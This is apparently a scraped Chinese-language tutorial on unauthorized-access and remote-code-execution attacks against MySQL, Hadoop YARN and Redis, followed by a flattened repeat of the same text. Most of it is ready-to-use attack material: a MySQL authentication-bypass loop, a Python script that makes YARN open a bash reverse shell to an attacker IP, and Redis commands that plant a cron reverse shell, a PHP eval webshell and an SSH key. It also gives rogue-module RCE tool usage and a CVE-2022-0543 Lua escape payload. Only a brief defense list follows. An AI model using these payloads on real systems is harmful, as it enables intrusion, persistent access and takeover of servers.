数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE
字数 1068 2025-08-10 10:14:26

数据库未授权访问漏洞与RCE利用详解

一、未授权访问漏洞概述

未授权访问漏洞是指需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露的安全问题。

常见未授权访问路径

  • /admin.php
  • /menu.php

常见未授权访问默认端口

[21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088, 8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017]

二、MySQL未授权访问漏洞(CVE-2012-2122)

漏洞复现步骤

  1. 开启vulhub靶场环境
  2. 执行payload:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
  1. 等待执行后,会直接进入数据库

三、Hadoop未授权访问三重奏&RCE漏洞

漏洞利用步骤

  1. 准备Python攻击脚本:
#!/usr/bin/env python
import requests

target = 'http://192.168.100.134:8088/'
lhost = '192.168.100.1' # 修改为攻击机IP

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
  1. 攻击端开启监听:
nc -lvvp 9999
  1. 执行Python脚本,成功反弹shell后可执行命令

四、Redis未授权访问漏洞

漏洞定义

Redis未授权访问漏洞是由于Redis服务器版本较低且未设置登录密码导致的漏洞,攻击者可直接利用Redis服务器的IP地址和端口完成远程登录。

漏洞成因

  1. Redis版本4.x/5.0.5或以前
  2. Redis绑定在0.0.0.0:6379,无防火墙规则限制
  3. 未设置密码认证(一般为空)

漏洞危害

  1. 写入计划任务反弹shell
  2. 写入webshell控制网站服务器
  3. 如果Redis以root身份运行,可写入SSH公钥文件直接登录

漏洞验证

redis-cli -h IP
info

出现内容即证明存在漏洞

漏洞利用方式

1. 写计划任务反弹shell

config set dir /var/spool/cron
config set dbfilename root
set ssr "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/攻击IP/1234 0>&1\n\n"
save

攻击机监听:

nc -lvvp 1234

2. 写webshell

config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']);?>"
save

3. 写SSH公钥实现登录

  1. 攻击机和靶机开启SSH服务
  2. 目标机创建SSH公钥目录:
mkdir /root/.ssh
  1. 攻击机生成SSH公钥:
ssh-keygen -t rsa
  1. 将公钥写入文件:
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
  1. 将公钥内容写入Redis:
cat 1.txt | redis-cli -h 目标IP -x set crack
  1. 连接目标Redis并执行:
config set dir /root/.ssh
config set dbfilename authorized_keys
save
  1. 攻击机SSH免密登录:
ssh -i id_rsa root@目标IP

Redis命令执行(RCE)自动化工具

工具地址:redis-master.py

使用示例:

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

Redis沙箱绕过(CVE-2022-0543)

payload示例:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

五、防御措施

  1. 设置强密码认证
  2. 限制访问IP
  3. 使用最新版本软件
  4. 修改默认端口
  5. 限制运行权限
  6. 启用防火墙规则
  7. 定期安全审计

通过以上详细教学,可以全面了解数据库未授权访问漏洞的原理、利用方式和防御措施,为安全测试和防御提供参考。

数据库未授权访问漏洞与RCE利用详解 一、未授权访问漏洞概述 未授权访问漏洞是指需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露的安全问题。 常见未授权访问路径 /admin.php /menu.php 常见未授权访问默认端口 [ 21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088, 8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017 ] 二、MySQL未授权访问漏洞(CVE-2012-2122) 漏洞复现步骤 开启vulhub靶场环境 执行payload: 等待执行后,会直接进入数据库 三、Hadoop未授权访问三重奏&RCE漏洞 漏洞利用步骤 准备Python攻击脚本: 攻击端开启监听: 执行Python脚本,成功反弹shell后可执行命令 四、Redis未授权访问漏洞 漏洞定义 Redis未授权访问漏洞是由于Redis服务器版本较低且未设置登录密码导致的漏洞,攻击者可直接利用Redis服务器的IP地址和端口完成远程登录。 漏洞成因 Redis版本4.x/5.0.5或以前 Redis绑定在0.0.0.0:6379,无防火墙规则限制 未设置密码认证(一般为空) 漏洞危害 写入计划任务反弹shell 写入webshell控制网站服务器 如果Redis以root身份运行,可写入SSH公钥文件直接登录 漏洞验证 出现内容即证明存在漏洞 漏洞利用方式 1. 写计划任务反弹shell 攻击机监听: 2. 写webshell 3. 写SSH公钥实现登录 攻击机和靶机开启SSH服务 目标机创建SSH公钥目录: 攻击机生成SSH公钥: 将公钥写入文件: 将公钥内容写入Redis: 连接目标Redis并执行: 攻击机SSH免密登录: Redis命令执行(RCE)自动化工具 工具地址:redis-master.py 使用示例: Redis沙箱绕过(CVE-2022-0543) payload示例: 五、防御措施 设置强密码认证 限制访问IP 使用最新版本软件 修改默认端口 限制运行权限 启用防火墙规则 定期安全审计 通过以上详细教学,可以全面了解数据库未授权访问漏洞的原理、利用方式和防御措施,为安全测试和防御提供参考。